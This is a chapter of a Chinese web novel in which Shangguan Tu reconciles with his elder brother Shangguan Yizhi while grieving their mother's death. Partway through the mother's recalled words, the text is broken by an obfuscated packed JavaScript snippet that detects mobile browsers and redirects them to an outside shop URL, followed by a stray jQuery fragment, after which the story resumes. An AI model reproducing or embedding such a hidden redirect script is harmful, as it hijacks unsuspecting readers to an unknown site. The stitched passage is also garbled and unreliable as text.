楚音华刚走的时候,何锦几人还不太适应。
倒是卫笙,又恢复了他来之前的日常,只是慢慢的,他结交了魏泰,与陈灵玉也走的更近了些。
原本的国子监四人加上了何锦与魏泰,倒也热闹。
国子监的时间宛如天边,炎热的太阳升起时,众人还没反应过来。明心院的学子需要回家进行农忙劳作,他们也跟着放了田假。
与几人分别后,回到府上的上官图果然又见到了上官逸之,只是这次这人等在了前厅,让人避开不得。
他不情愿地上前行礼道:“兄长好。”
他不甘不愿,上官逸之却也笑脸相迎:“怎么在家也这么生疏,我们本是亲兄弟,何必如此。”
如果你自己也把这种地方当家,就不会早早想尽办法搬离了,上官图心中腹诽。
见前厅只有上官逸之一人,他心里也有些奇怪,今日怎么没人来恶心自己。
倒也好,无人打扰,遂转身就想回厢房去。
没成想被一双手给拦住了,上官图顺着手臂望过去,神色不善道:“让开。”
“图,我们已经很久没见了。”
言下之意就是想他了,但他一点也听不进去,不屑一顾道:“我没有见你的爱好,也不想见你。”
知道眼前人说话就是这样,对谁都好,就是仇视自己,上官逸之也不计较。
他将下人屏退,开口道:“上官礼带着吴氏与上官透去了樊楼,今日府上不做吃食。”
难怪今日这么安静,带着亲儿子走了啊,上官图并不觉得有什么,只问道:“你怎么知道他们今日要走?”还赶趟来寻了人。
上官逸之压下对胞弟的心疼,神色如常道:“原本是不知道的,恰好想来找你,问了侍从。”
要是今日没有来,他又要饿着了。
上官逸之认真道:“先跟着我回府上好吗,我们先吃饱。”
上官图本来准备张口拒绝的,看到眼前人恳求的神情,又莫名的狠不下心,想到上一次分别时莫名的情绪,他张了张口,又闭上。
最终还是没有说话,沉默着点了点头。
以为会被拒绝,上官逸之都准备下一句说辞了,见他点头,赶忙找来侍从将马车带到了门口。
生怕下一秒人就反悔了。
他满心欢喜地上前拉住上官图的手,将人带上了马车。
上官图难得没有反抗,但也不能理解身边人,明明当初抛弃自己和母亲的是他,为什么现在又要回来找他。
他茫然的被人带到了府上,带着吃了饭。
毫无疑问的是,这场饭是除了与国子监朋友们一起外吃过最安心的饭。没有父亲的偏颇,没有偏房的刁难,只是安安静静的吃着。
如果旁边没有上官逸之的话,就更好了。
上官逸之倒像是没察觉般,还使劲往他碗里夹菜。
眼见菜要把饭淹了,他赶紧制止道:“你挑的菜我不会吃,干嘛一直挑。”
上官逸之毫不在意:“要是你没注意就吃了呢。”
被他厚脸皮的程度惊到,上官图不再理他,安安静静地吃着碗里的饭。
吃完饭就准备走,没成想又被上官逸之拦住了。
“阿弟,再待几日吧,等国子监行课了我就送你回去。”
没想到他会这样说,上官图看着眼前人,语调平和:“你要关我?”
“怎么会,只是这几日朝中无事,较为清闲,上官礼可能常带着他们出门赏玩。”
也就是说很有可能上官图这几日都得跟着侍从吃,又或许像今日这般根本没得吃。
早就被这样欺压惯了,上官图嗤笑道:“我有事自会出去找阿笙他们的,就不劳侍郎大人费心了。”
刚准备踏出门,身后就传来声音:“阿娘的东西在我这里。”
上官图收回脚,快步走到上官逸之面前,扬手给了他一巴掌。
“你之前对我们不管不顾,现在还要拿娘威胁我是吗!”
清脆的巴掌声萦绕整个前厅。
刚打完眼泪就顺着脸颊滑落下来,他随手擦掉,怒吼道:“装什么好心,现在这样,那你之前在哪里?”
他还准备继续骂人,猝不及防就被环入了一个温暖的怀抱。只听上官逸之小心翼翼道:“抱歉,是兄长的错,是我对不住你们……”
他被紧紧搂着,只能听到这人反复地揽着过错。
早就试想过很多次这样的场景,原以为自己会很轻松自在,可听着上官逸之一句句抱歉,他却根本开心不起来。
不该这样的,他们就该吵起来,最好吵到彼此心中永远扎着这根刺,永远也不能和好,就此分道扬镳。
感受着环抱住他的人身上轻微的颤抖,他不甘心道:“无论如何,我都不会留下来的。”
上官礼共有一妻一妾,同时进门,妻子杨氏出身没落世家,在嫁过去没多久就疾病缠身,在上官图十岁时去世,彼时上官逸之刚科考成功。
十岁的上官图孤身待在死去的娘亲身旁,不知道哪里还容得下自己。
娘亲总说哥哥以后会保护好他,可他已经不想要哥哥了。
在他眼里,他的哥哥在娘亲病重时选择了去皇子身边做伴读,甚至在她将死之时还惦记着科考,就只为了逃离家中。
上官礼与偏房的人不救她,他的兄长也不救她。
他不能理解上官逸之,为什么现在又要来管他。
“让我去看看娘亲的遗物。”
“好。”上官逸之很轻易地同意了。
他被带到一间满是画像的屋子,能看出来,画上的女子是他们的母亲。有的在缝制衣裳,有的在熬汤,有的在与孩子嬉戏。
画中的孩子正是十岁左右的上官图,除此之外没有其他人,连上官逸之自己也不在上面。
看到角落有一张自己最近的单人画,上官图脱口而出:“你在咒我死?”
“没有,怕她一个人孤独,闲来无事就将你画了上去。”
上官逸之去角落将箱子抬出,里面只有零星几个物品,一只碧玉发簪、一把木梳、一块铜镜与几件衣裳。
当时情况繁杂,他只能带出这么点东西。
上官图在看到这些东西的第一刻就沉默了下来,静静地看着眼前的东西,仿佛见到了娘亲。
“小图以后要好好的,娘会在天上保佑小图的。”
“娘,我去找哥哥,我去找哥哥!”
“别去,乖一点,哥哥有事要做,哥哥要保护我们小兔兔,娘现在还好好的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533498|203754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呢。”
心口像被针扎过,不知为何,他忽然改口道:“我会留下来,你去安排房间吧。”
上官逸之赶紧从悲伤中出来,回答道:“已经安排好了的,让我在这儿陪你一会儿吧。”
两兄弟就这样在这间屋子里待了一下午。
第二日清醒后,上官图难得没那么记恨这个兄长了,一整日都在屋内晃荡。
只在午时,他忽然将上官逸之带到娘亲遗物前,问他:“在娘亲面前,告诉我,你当年科考到底是为了逃离家中还是……”
“……还是想带我们走。”
上官逸之睁大了双眼,实在不知他怎么现在又想问这个问题了。他垂着眸子,一字一顿道:“想带你们走。”
若是以前,上官图根本不会信,可不知为何,看了那些遗物,那块遗像,他的眼泪忽然就流了下来。
见他的眼泪止不住般掉下来,上官逸之以为自己哪里说错了,赶忙说道:“别哭,兄长的错。”
又是这样,什么都不问就道歉,上官图上前捂住他的嘴道:“就知道道歉,不是你的错也道歉,你是蠢货吗?”
上官逸之哑然,自己好像真是蠢货。
六岁时想让娘亲与弟弟过的好一点,总是出门参加学子之间的诗会,虽然说不出什么,好学的名声也传了出去。
终于被皇上指派着当上了太子伴读,他去求皇上、太子,求他们救娘亲,可好像没什么用。
娘亲曾说要自己早点开府才可以带走他们,于是十四岁求人无果后参加了科考,想考官后建府带走娘亲与弟弟。
十四岁挑灯夜读,终于在当年的乡试中得了解元,又在次年二月的会试中得了会员,十五岁在殿试时被皇上认了出来,被免了殿试,但官职也挂在了礼部。
在这期间无数次,他求过其余官员,甚至去偷偷找了郎中,可他们派来的每个医师都说自己的娘亲已经病入膏肓。
年幼的上官逸之不能理解娘亲看起来好好的这么就病入膏肓了,但他有了建府的机会,那就可以带着他们离开府上了。
可不曾想十五岁能开府后兴高采烈地回府时,却收到了娘亲病逝的消息。
他想带走弟弟也被告知不合礼制。
一切徒劳的上官逸之最终只带走了自己。
甚至他的弟弟也与自己渐行渐远。
慢慢长大之后,他才明白,娘亲当年只是强撑着想让自己带着弟弟走,只是她不知道本朝律令二十岁以下开府官员不得带走幼年子弟。
十五岁的上官逸之带走上官图不合礼制,可二十岁后上官图却不愿跟着上官逸之离开了。
他只觉得是自己太过天真又实在蠢笨,想不到更好的办法。
可能他真的不够聪明。
被捂住嘴的上官逸之不知道现在该做什么,他早就不会哄这个离心六年的胞弟了。
想道歉,可他的嘴被捂着,自己也不忍心去抛开那只手,只能眼巴巴地望着眼前人。
平静下来的上官图终于松开了手,环抱住他的腰道:“不是你的错,你只是太小了。”
时隔六年,上官逸之终于得到了胞弟的原谅,也终于得以释怀。
或许是远在天上的娘亲再一次保佑了他们,让二人不再离心。